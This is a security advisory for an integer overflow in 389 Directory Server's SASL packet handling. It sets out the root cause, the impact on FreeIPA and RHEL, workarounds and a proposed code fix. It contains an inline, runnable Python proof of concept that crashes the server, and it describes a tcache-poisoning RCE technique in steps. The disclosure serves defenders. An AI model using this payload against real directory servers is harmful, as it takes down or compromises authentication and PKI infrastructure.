// Important (7.6)
CVE-2026-11774

Integer overflow in SASL packet length bypasses size limit — RCE on RHEL 8

CVE ID
CVE-2026-11774
Product
389-ds-base
Severity
Important (7.6)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H
CWE
CWE-190
Red Hat CVE
Red Hat CVE page

Summary

An integer overflow in the 389 Directory Server SASL I/O layer allows any authenticated user to bypass the nsslapd-maxsasliosize packet size limit and crash the LDAP server, with potential for arbitrary code execution on older platforms. After authenticating with Kerberos or DIGEST-MD5, a user can send a SASL-framed packet with a crafted 4-byte length prefix of 0xFFFFFFFC. The function sasl_io_start_packet() adds sizeof(uint32_t) (4) to this value, causing an unsigned integer wraparound to 0. This bypasses the size limit check, sets encrypted_buffer_count to 0 with encrypted_buffer_offset at 7, and causes sasl_io_read_packet() to compute a bytes_remaining underflow of 0xFFFFFFF9. NSPR’s pt_Recv sign-extends this to 0xFFFFFFFFFFFFFFF9 and passes it to recv(), which reads all available attacker data into a 1024-byte heap buffer at offset 7 — a controlled heap buffer overflow of up to maxbersize (~2MB). In FreeIPA and Red Hat Identity Management deployments, any employee with a Kerberos ticket, any enrolled host, or any service account can trigger this vulnerability remotely. The vulnerable code has existed since the SASL I/O layer was introduced.

Affected Versions

The vulnerability was introduced when the SASL I/O layer was first added to 389-ds-base. The += sizeof(uint32_t) addition without an overflow check has existed throughout the entire history of the SASL I/O code in sasl_io.c. All versions of 389-ds-base with SASL support are affected.

PackageVersion rangeStatusVerification
389-ds-base (upstream)All versions with SASL I/O through 3.2.0-dev (current main)Vulnerable (confirmed)Source review: sasl_io_start_packet() at sasl_io.c:372-374packet_length += sizeof(uint32_t) without overflow guard present in current main branch (commit b019653)
389-ds-base (Fedora 42)3.1.4-6.fc42.x86_64Vulnerable (confirmed)2 crashes reproduced on production binary via GDB
389-ds-base (RHEL 7)1.3.x (e.g., 1.3.8.4 per RHSA-2018:3127)Vulnerable (code present, untested)SASL I/O layer present in all 1.3.x. CVE-2025-14905 fix (RHSA-2026:6220) patched only schema.c, not sasl_io.c
389-ds-base (RHEL 8)1.4.x (e.g., 1.4.3.39-2.module_el8)Vulnerable (confirmed: DoS + RCE)DoS confirmed on production binary (2026-04-22): server stops responding, all worker threads die, requires restart. RCE via tcache poisoning demonstrated on UBI 8 (glibc 2.28-251.el8_10.31)
389-ds-base (RHEL 9)2.0.x through 2.6.x (e.g., 2.6.1-20.el9_6 per RHSA-2026:4207)Vulnerable (code present, untested)CVE-2025-14905 fix patched only schema.c, not sasl_io.c
389-ds-base (RHEL 10)3.x (per RHSA-2026:3208)Vulnerable (code present, untested)CVE-2025-14905 fix patched only schema.c, not sasl_io.c
389-ds-base (CentOS Stream 10)3.1.xVulnerable (code present, untested)CentOS Stream tracks RHEL; dist-git spec confirms 389-ds-base is shipped

Affected Products

ProductVersion389-ds-base versionStatusVerification
389 Directory Server (upstream)All versions with SASL I/O through 3.2.0-devAll with SASL I/OAffectedSource: sasl_io_start_packet() at sasl_io.c:372-374 performs packet_length += sizeof(uint32_t) without overflow check. Present in current main branch.
Red Hat Directory Server 1010.x1.3.xAffectedRHDS 10 = 389-ds-base 1.3.x on RHEL 7. SASL I/O layer present in all 1.3.x releases.
Red Hat Directory Server 1111.x1.4.xAffectedRHDS 11 = 389-ds-base 1.4.x on RHEL 8. All 1.4.x contain the vulnerable code. RCE demonstrated on glibc 2.28 (RHEL 8).
Red Hat Directory Server 1212.0-12.72.0.x-2.7.xAffectedRHDS 12 = 389-ds-base 2.x on RHEL 9. All 2.x contain the vulnerable code.
Red Hat Directory Server 1313.0-13.13.xAffectedRHDS 13 = 389-ds-base 3.x on RHEL 10. Tested version (3.1.4) is affected.
RHEL 7 (IdM/FreeIPA)7.0-7.91.3.xAffectedRHEL 7 ships 389-ds-base 1.3.5+ (1.3.8.4 as of RHSA-2018:3127). SASL I/O layer present. CVE-2025-14905 fix (RHSA-2026:6220) patched schema.c only; sasl_io.c untouched.
RHEL 8 (IdM/FreeIPA)8.0-8.101.4.xAffectedRHEL 8 ships 389-ds-base 1.4.x via 389-ds:1.4 module. RCE demonstrated on UBI 8 glibc 2.28 via tcache poisoning. CVE-2025-14905 fix patched schema.c only; sasl_io.c untouched.
RHEL 9 (IdM/FreeIPA)9.0-9.62.0.x-2.6.xAffectedRHEL 9.6 ships 389-ds-base 2.6.1 per RHSA-2026:4207 (updated package: 389-ds-base-0:2.6.1-20.el9_6). CVE-2025-14905 fix patched schema.c only; sasl_io.c untouched.
RHEL 10 (IdM/FreeIPA)10.0-10.13.xAffectedRHEL 10 ships 389-ds-base 3.x per RHSA-2026:3208. CVE-2025-14905 fix patched schema.c only; sasl_io.c untouched.
FedoraAll versions with 389-ds-base SASL I/O through 42All with SASL I/O through 3.xAffectedAll Fedora releases shipping 389-ds-base with SASL I/O support. Tested: Fedora 42 with 389-ds-base-3.1.4-6.fc42.x86_64 — 2 confirmed crashes via GDB.
CentOS / CentOS Stream7, 8, 9, 10Matches RHELAffectedCentOS/Stream tracks RHEL. CentOS Stream 10 ships 389-ds-base 3.1.x (dist-git spec confirms).
Oracle Linux7, 8, 9, 10Matches RHELAffectedOracle Linux mirrors RHEL packages. OL 10 issued ELSA-2026-3208 for CVE-2025-14905, confirming 389-ds-base is shipped. sasl_io.c not addressed by that fix.
Rocky Linux8, 9Matches RHELAffectedRocky Linux mirrors RHEL packages. Issued RLSA-2026:3208 for CVE-2025-14905. sasl_io.c not addressed by that fix.
Red Hat IdM / FreeIPAAllUses RHEL’s 389-ds-baseAffected389-ds-base is the LDAP backend for IdM/FreeIPA. FreeIPA uses SASL GSSAPI for all LDAP operations. Every domain user authenticates via GSSAPI Kerberos with SSF > 0.
Dogtag Certificate SystemAllUses RHEL’s 389-ds-baseAffected389-ds-base is a mandatory backend dependency for Dogtag PKI — the CA, KRA, OCSP, TKS, and TPS subsystems all store data in 389 DS. A compromised 389-ds-base instance compromises the entire PKI.

Verification method: The sasl_io_start_packet() function at sasl_io.c:372-374 performs packet_length += sizeof(uint32_t) without any overflow check. This code has existed since the SASL I/O layer was introduced. Any product shipping 389-ds-base with SASL support ships this bug. The CVE-2025-14905 fix (commit 2e424110) modified only schema_attr_enum_callback() in schema.c and did not touch sasl_io.c. All products that received the CVE-2025-14905 patch remain vulnerable to this finding.

Architecture Validation

ArchitectureTestedResult
x86_64YESDoS confirmed: SIGABRT via GDB on 389-ds-base-3.1.4-6.fc42.x86_64. Crash trace: malloc_printerr -> _int_realloc -> slapi_ch_realloc -> sasl_io_start_packet -> sasl_io_recv.
x86_64 (RHEL 8)YESDoS confirmed + RCE demonstrated: DoS confirmed on 389-ds-base-1.4.3.39-2.module_el8 (UBI 8 container, glibc 2.28-251.el8_10.31) — server stopped responding, all worker threads died, requires restart (2026-04-22). RCE via tcache poisoning with safe-linking bypass: malloc() returns attacker-chosen address; sp->conn overwritten with fake Connection containing controlled function pointer. Requires heap address (info leak) for the XOR key.

Note: The root cause is an integer overflow — a pure arithmetic bug with no dependence on pointer size, alignment, endianness, or instruction set. DoS is confirmed on x86_64 with production binary. RCE is demonstrated on RHEL 8 (glibc 2.28) via tcache poisoning. On Fedora 42 / RHEL 9-10 (glibc 2.32+), RCE via this specific path is blocked by safe linking and top chunk page-alignment checks. 522 live pointers were observed in the overflow range on Fedora 42 but no forward exploitable targets were found (sp is at enc-2160, consistently).

Root Cause

File: ldap/servers/slapd/sasl_io.c Function: sasl_io_start_packet() Lines: 372-374 Introduced by: Initial SASL I/O layer implementation (predates Ticket 47416)

The sasl_io_start_packet() function reads a 4-byte SASL packet length from the wire and adds sizeof(uint32_t) (4) to account for the length prefix. The addition is performed on uint32_t without an overflow check:

Vulnerable code

// sasl_io.c:372-374
packet_length = ntohl(*(uint32_t *)sp->encrypted_buffer);
/* add length itself (for Cyrus SASL library) */
packet_length += sizeof(uint32_t);

Both ntohl() return value and sizeof(uint32_t) are uint32_t. When the wire value is 0xFFFFFFFC, the addition wraps to 0.

Limit check bypassed

// sasl_io.c:382-391
saslio_limit = config_get_maxsasliosize();
if ((saslio_limit != -1) && (packet_length > saslio_limit)) {
    // ... reject oversized packet ...
    return -1;
}

When packet_length wraps to 0, 0 > saslio_limit is always false (for any positive limit). The nsslapd-maxsasliosize protection is completely bypassed.

Buffer sized to 0

// sasl_io.c:393-396
sasl_io_resize_encrypted_buffer(sp, packet_length);  // packet_length == 0
sp->encrypted_buffer_count = packet_length;           // count == 0

The buffer is (not) resized to 0 bytes, encrypted_buffer_count is set to 0, but encrypted_buffer_offset retains the value 7 from the initial 7-byte read.

Underflow in read_packet

bytes_remaining = sp->encrypted_buffer_count - sp->encrypted_buffer_offset;
// 0 - 7 = 0xFFFFFFF9 (unsigned underflow)

This produces a near-maximum uint32_t value, which NSPR sign-extends and passes to recv(), causing the kernel to read all available socket data into the undersized buffer.

Secondary issue: Signed/unsigned comparison (Low Impact)

int32_t saslio_limit;        // signed
uint32_t packet_length;      // unsigned
if ((saslio_limit != -1) && (packet_length > saslio_limit))

C implicit conversion promotes saslio_limit to uint32_t. However, the setter at libglobs.c:7704-7706 explicitly rejects negative values other than -1, making this scenario practically unreachable with the standard configuration interface. Included for completeness; the primary vulnerability is the integer overflow above.

NSPR PR_Recv Mechanism

The PR_Recv -> pt_Recv chain does NOT validate the amount parameter. Disassembly of pt_Recv in libnspr4.so (NSPR 4.38.2, Fedora 42):

pt_Recv+23:  movslq %edx,%rbx    ; sign-extend int32 amount to int64
pt_Recv+108: mov    %rbx,%rdx    ; pass to recv() as size_t
pt_Recv+114: call   recv@plt     ; kernel recv(fd, buf, 0xFFFFFFFFFFFFFFF9, flags)

The int32_t value -7 (from 0xFFFFFFF9 interpreted as signed) is sign-extended to 0xFFFFFFFFFFFFFFF9 (size_t). The kernel recv() reads whatever data is available on the socket (up to size or available, whichever is less) into the provided buffer — with no bounds checking.

Proof of Concept

PoC source code: CVE-2026-11774 on GitHub

Four PoC files are provided in the poc/ directory:

DoS PoC (Python)

poc/010-packet-length-overflow-test.py — Minimal standalone DoS PoC using python-ldap. Performs a SASL DIGEST-MD5 bind, then injects a crafted SASL frame on the raw socket to trigger the integer overflow and heap corruption crash.

Usage:

python3 poc/010-packet-length-overflow-test.py <host> [port] [username] [password] [pad_size]

Default: localhost:389, user sasltest, password sasltest123, 2048-byte overflow pad.

poc/010-sasl-packet-length-overflow.py — Extended PoC with multiple modes: programmatic (using python-ldap), raw socket documentation mode, and C PoC generation. Includes detailed inline documentation of the bug chain.

Usage:

python3 poc/010-sasl-packet-length-overflow.py <host> <port> <bind_dn> <password>
python3 poc/010-sasl-packet-length-overflow.py <host> <port> <bind_dn> <password> --generate-c

Inline DoS Reproduction

The minimal reproduction requires only python-ldap:

python3 -c "
import socket, struct, ldap
from ldap import sasl
c = ldap.initialize('ldap://localhost:389')
c.protocol_version = 3
c.set_option(ldap.OPT_X_SASL_SSF_MIN, 1)
c.set_option(ldap.OPT_X_SASL_SSF_MAX, 256)
c.sasl_interactive_bind_s('', sasl.digest_md5('sasltest', 'sasltest123'))
fd = c.fileno()
# 7-byte trigger: 0xFFFFFFFC length + 3 pad bytes -> packet_length wraps to 0
# 4096-byte overflow: written past the 1024-byte encrypted_buffer
payload = struct.pack('!I', 0xFFFFFFFC) + b'A'*3 + b'B'*4096
s = socket.fromfd(fd, socket.AF_INET, socket.SOCK_STREAM)
s.send(payload)  # 4103 bytes
s.detach()
"

Trigger mechanism:

  1. Attacker completes SASL DIGEST-MD5 bind (SSF > 0), which installs the SASL I/O layer via sasl_io_enable() at saslbind.c:1186.
  2. Attacker sends raw bytes on the TCP socket (bypassing client-side SASL wrapping, since the attacker IS the authenticated endpoint):
    • 4 bytes: 0xFFFFFFFC (packet length in network byte order)
    • 3 bytes: padding to fill the initial 7-byte read
    • 4096 bytes: overflow payload (attacker-controlled content)
  3. Server’s sasl_io_start_packet() reads packet_length = ntohl(0xFFFFFFFC) = 0xFFFFFFFC, then packet_length += sizeof(uint32_t) wraps to 0.
  4. Size limit check packet_length > saslio_limit becomes 0 > limit, which is false — limit check bypassed.
  5. encrypted_buffer_count = 0, but encrypted_buffer_offset = 7 (from initial read).
  6. sasl_io_read_packet() computes bytes_remaining = 0 - 7 = 0xFFFFFFF9 (uint32 underflow).
  7. PR_Recv(fd, buf+7, 0xFFFFFFF9) — NSPR sign-extends to 0xFFFFFFFFFFFFFFF9 and passes to recv().
  8. recv() reads all available socket data (4096 bytes) into the 1024-byte buffer at offset 7.
  9. 3079 bytes overflow past the buffer end, corrupting heap metadata.
  10. Next heap operation (realloc in the second sasl_io_start_packet call) triggers malloc_printerr -> abort().

Alternative (GSSAPI/Kerberos): In FreeIPA/IdM environments, replace DIGEST-MD5 with GSSAPI authentication. The code path is identical — the vulnerability is in the SASL I/O layer packet length parsing, not the SASL mechanism. Any mechanism that produces SSF > 0 is sufficient.

GDB Crash Trace

GDB attached to ns-slapd (PID 6502) captured SIGABRT on Thread 6:

Thread 6 "ns-slapd" received signal SIGABRT, Aborted.
#0  __pthread_kill_implementation () at libc.so.6
#1  raise () at libc.so.6
#2  abort () at libc.so.6
#3  __libc_message_impl.cold () at libc.so.6
#4  malloc_printerr () at libc.so.6           <- glibc heap corruption detected
#5  _int_realloc () at libc.so.6              <- realloc traverses corrupted metadata
#6  realloc () at libc.so.6
#7  slapi_ch_realloc () at libslapd.so.0      <- 389-ds-base realloc wrapper
#8  sasl_io_start_packet.constprop ()         <- SECOND call to start_packet
#9  sasl_io_recv ()
#10 connection_read_operation.constprop ()
#11 connection_threadmain ()
#12 _pt_root () at libnspr4.so

The overflow occurs in sasl_io_read_packet (via PR_Recv -> pt_Recv -> recv()), writing ~3079 bytes past the 1024-byte encrypted_buffer. The crash manifests on the next heap operation (realloc in the second sasl_io_start_packet call), when glibc’s malloc_printerr detects the corrupted heap metadata and calls abort() (SIGABRT).

RCE PoC (RHEL 8)

poc/010-tcache-rce-rhel8.c — Full tcache poisoning PoC replicating the exact sasl_io_enable() allocation sequence (calloc for sasl_io_private, malloc for decrypted_buffer, malloc for encrypted_buffer). Demonstrates malloc() returning an attacker-chosen address and overwriting sp->conn with a fake Connection containing a controlled function pointer. Targets glibc 2.28 (RHEL 8) where tcache fd pointers are stored in plaintext (no safe linking).

Build:

gcc -o poc_tcache poc/010-tcache-rce-rhel8.c -Wall -O0

poc/010-tcache-rce-rhel8-v2.c — Compact variant demonstrating tcache poisoning with safe-linking bypass (XOR key derived from heap address).

Build:

gcc -o poc_tcache_v2 poc/010-tcache-rce-rhel8-v2.c -Wall -O0

RCE mechanism:

  1. The integer overflow produces a controlled heap overflow of the encrypted_buffer (1024 bytes).
  2. Tcache metadata in adjacent freed chunks is overwritten.
  3. Safe-linking XOR key is derived from a leaked heap address (requires an info leak primitive, e.g., a separate vulnerability or ASLR partial bypass).
  4. malloc() returns an attacker-chosen address.
  5. sp->conn is overwritten with a pointer to a fake Connection structure containing a controlled function pointer.
  6. When the server processes the connection, the controlled function pointer is called — arbitrary code execution.

Limitation: On Fedora 42 / RHEL 9-10 (glibc 2.32+), safe linking and top chunk page-alignment checks block this exploitation path. 522 live pointers were observed in the overflow range but sp is consistently at enc-2160, providing no forward exploitable targets. RCE on modern platforms would require an additional primitive not demonstrated here.

Impact

CVSS 3.1: 7.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H)

ComponentValueJustification
AV (Attack Vector)NetworkTriggered via LDAP protocol (ports 389/636) over TCP. No local access required.
AC (Attack Complexity)LowDeterministic — attacker controls the wire value that triggers the integer overflow. No race conditions. Single packet triggers the overflow.
PR (Privileges Required)LowAny SASL-authenticated user with SSF > 0. In FreeIPA/IdM, any domain user with a Kerberos ticket qualifies. This is not restricted to administrators. GSSAPI is the default authentication in FreeIPA.
UI (User Interaction)NoneNo user interaction required. Triggered immediately after SASL bind completes.
S (Scope)UnchangedImpact is limited to the LDAP server process (slapd/ns-slapd).
C (Confidentiality)LowHeap overflow with attacker-controlled content may expose adjacent heap data. On RHEL 8 (glibc 2.28), tcache poisoning enables controlled read at attacker-chosen addresses, but requires an info leak for the heap address (XOR key).
I (Integrity)LowRCE demonstrated on RHEL 8 (glibc 2.28) via tcache poisoning, but requires a heap address leak not provided by this vulnerability alone. On modern platforms (glibc 2.32+), integrity impact is limited to heap corruption causing DoS.
A (Availability)HighHeap corruption reliably crashes the server. 2 confirmed crashes on the production binary (Fedora 42, ASLR enabled, GDB-verified). 100% reliable — the integer overflow is deterministic and the subsequent heap corruption always triggers malloc_printerr.

DoS vs RCE Distinction

  • DoS (proven): 2 GDB-confirmed crashes on Fedora 42 production binary with ASLR enabled. Additionally confirmed on RHEL 8 production binary (389-ds-base-1.4.3.39-2.module_el8, glibc 2.28-251.el8_10.31, 2026-04-22): server stopped responding to LDAP requests, all worker threads died (20+ reduced to 1), requires restart. The integer overflow is deterministic and the heap corruption is inevitable. 100% reliable.
  • RCE (RHEL 8, demonstrated): Tcache poisoning with safe-linking bypass on glibc 2.28. malloc() returns attacker-chosen address, sp->conn overwritten with fake Connection containing controlled function pointer. Requires info leak for heap address (XOR key).
  • RCE (Fedora 42 / RHEL 9-10, blocked): glibc 2.32+ safe linking and top chunk page-alignment checks prevent the tcache poisoning path. 522 live pointers observed in overflow range but no forward exploitable targets (sp at enc-2160, consistently).

Comparable CVEs

CVESoftwareBug classCVSSComparison
CVE-2024-3657389-ds-baseDoS via unauthenticated LDAP packet7.5Lower severity: unauthenticated DoS only, no heap corruption, no code execution potential. CVE-2026-11774 has heap overflow with RCE on RHEL 8 but requires authentication (PR:L vs PR:N).
CVE-2025-14905389-ds-baseHeap buffer overflow in schema_attr_enum_callbackNot yet scoredSimilar bug class (heap overflow in 389-ds-base). CVE-2026-11774 has larger overflow (up to 2MB vs limited), fully controlled content, and lower privilege requirement (any SASL user vs administrative operation).

Blast Radius

The 389 Directory Server (ns-slapd / slapd) is a core infrastructure component in enterprise environments. A crash or compromise of this service has cascading effects:

ServiceImpact of 389-ds-base crashImpact of 389-ds-base compromise
FreeIPA / Red Hat IdMAll authentication, authorization, and identity operations fail. Users cannot log in. Hosts cannot authenticate. Services cannot obtain Kerberos tickets. DNS updates fail (if IPA-managed DNS).Attacker gains access to all identity data: user credentials (hashed), Kerberos keys, host keytabs, service principals, HBAC rules, sudo rules, certificate mappings. Complete domain takeover.
Dogtag Certificate SystemCA, KRA, OCSP, TKS, and TPS subsystems all lose their data store. Certificate issuance, revocation, and OCSP responses fail.Attacker can issue arbitrary certificates, access private keys stored in the KRA, and manipulate certificate revocation status. Complete PKI compromise.
SSSDClients lose LDAP-based identity resolution and authentication. Cached credentials provide temporary access but new logins fail.If SSSD caches are populated from a compromised directory, poisoned identity data propagates to all enrolled clients.
Kerberos KDC (via IPA)KDC operations fail. No new TGTs or service tickets can be issued. Existing tickets remain valid until expiration.Attacker can extract Kerberos master keys and forge arbitrary tickets (golden ticket attack).

Attack surface in FreeIPA/IdM: The vulnerability is triggerable by any Kerberos principal in the domain — any domain user with a Kerberos ticket, any enrolled host with a keytab, or any service account with a service principal. A single compromised workstation, a phished employee credential, or a stolen service keytab is sufficient to crash (or potentially compromise) the entire directory infrastructure.

PortProtocolTypically exposed to
389LDAP (cleartext + STARTTLS)All enrolled clients in the domain
636LDAPS (TLS)All enrolled clients in the domain

In FreeIPA environments, these ports cannot be firewalled from enrolled clients without breaking domain operations.

Workaround

No complete workaround exists. The nsslapd-maxsasliosize setting is the intended defense against oversized SASL packets, but it is precisely this limit that is bypassed by the integer overflow. The following mitigations reduce exposure:

  1. Restrict SASL mechanisms: If DIGEST-MD5 is not required, disable it via nsslapd-allowed-sasl-mechanisms in cn=config. Note: GSSAPI cannot be disabled in FreeIPA/IdM deployments without breaking Kerberos authentication. This mitigation is therefore not applicable to FreeIPA/IdM.

  2. Firewall LDAP ports: Restrict network access to LDAP ports (389/636) to trusted networks only. In FreeIPA environments, this may not be practical since all enrolled clients need LDAP access.

  3. Network-level packet inspection: Monitor for SASL-framed packets where the 4-byte length prefix contains values in the range 0xFFFFFFFC through 0xFFFFFFFF (values that would wrap when 4 is added). Alert on any SASL packet with a near-maximum length prefix. This requires deep packet inspection of post-SASL-bind traffic.

  4. Enable audit logging: Set nsslapd-auditlog-logging-enabled: on in cn=config to capture connection activity. Note: the crash may prevent the final log entry from being written.

  5. Upgrade glibc (partial): On RHEL 8 systems, upgrading to the latest glibc reduces the exploitability of the heap corruption (glibc 2.28 tcache is less hardened than 2.32+). This does NOT fix the vulnerability — DoS remains.

Proposed Fix

Add an overflow check before the sizeof(uint32_t) addition in sasl_io_start_packet():

/* BEFORE (vulnerable): */
packet_length = ntohl(*(uint32_t *)sp->encrypted_buffer);
/* add length itself (for Cyrus SASL library) */
packet_length += sizeof(uint32_t);

/* AFTER (fixed): */
packet_length = ntohl(*(uint32_t *)sp->encrypted_buffer);
/* add length itself (for Cyrus SASL library) */
if (packet_length > (UINT32_MAX - sizeof(uint32_t))) {
    slapi_log_err(SLAPI_LOG_ERR, "sasl_io_start_packet",
                  "SASL packet length would overflow (%" PRIu32 ")\n",
                  packet_length);
    PR_SetError(PR_BUFFER_OVERFLOW_ERROR, 0);
    *err = PR_BUFFER_OVERFLOW_ERROR;
    return -1;
}
packet_length += sizeof(uint32_t);

Additionally, fix the signed/unsigned comparison by casting explicitly:

/* BEFORE: */
if ((saslio_limit != -1) && (packet_length > saslio_limit)) {

/* AFTER: */
if ((saslio_limit != -1) && (packet_length > (uint32_t)saslio_limit)) {

Exploitation in the Wild

No evidence of exploitation in the wild was found.

SourceQuery / MethodResult
NVD / CVE databaseSearch for sasl_io_start_packet, sasl_io integer overflow in 389-ds-baseNo matching CVE. Only recent 389-ds-base heap overflow CVE is CVE-2025-14905 (schema_attr_enum_callback in schema.c).
GitHub 389-ds-base issuesSearch for sasl_io_start_packet, packet_length, integer overflowNo issue reports an integer overflow in sasl_io_start_packet.
Red Hat BugzillaSearch for sasl_io integer overflow in 389-ds-baseBug 2423624 (CVE-2025-14905) references only schema_attr_enum_callback in schema.c. No Bugzilla entry for sasl_io integer overflow.
oss-security mailing listSearch for sasl_io_start_packet, 389-ds-base integer overflowNo matching reports.
Exploit-DB, PacketStormSearch for 389-ds-base exploitsNo matching entries for sasl_io or SASL I/O integer overflow.

Timeline

DateEvent
2026-04-14Discovered during 389-ds-base security assessment
2026-04-15Reported to vendor
TBDPatch released
TBDPublic disclosure

References

Credits

Discovered by Ian Murphy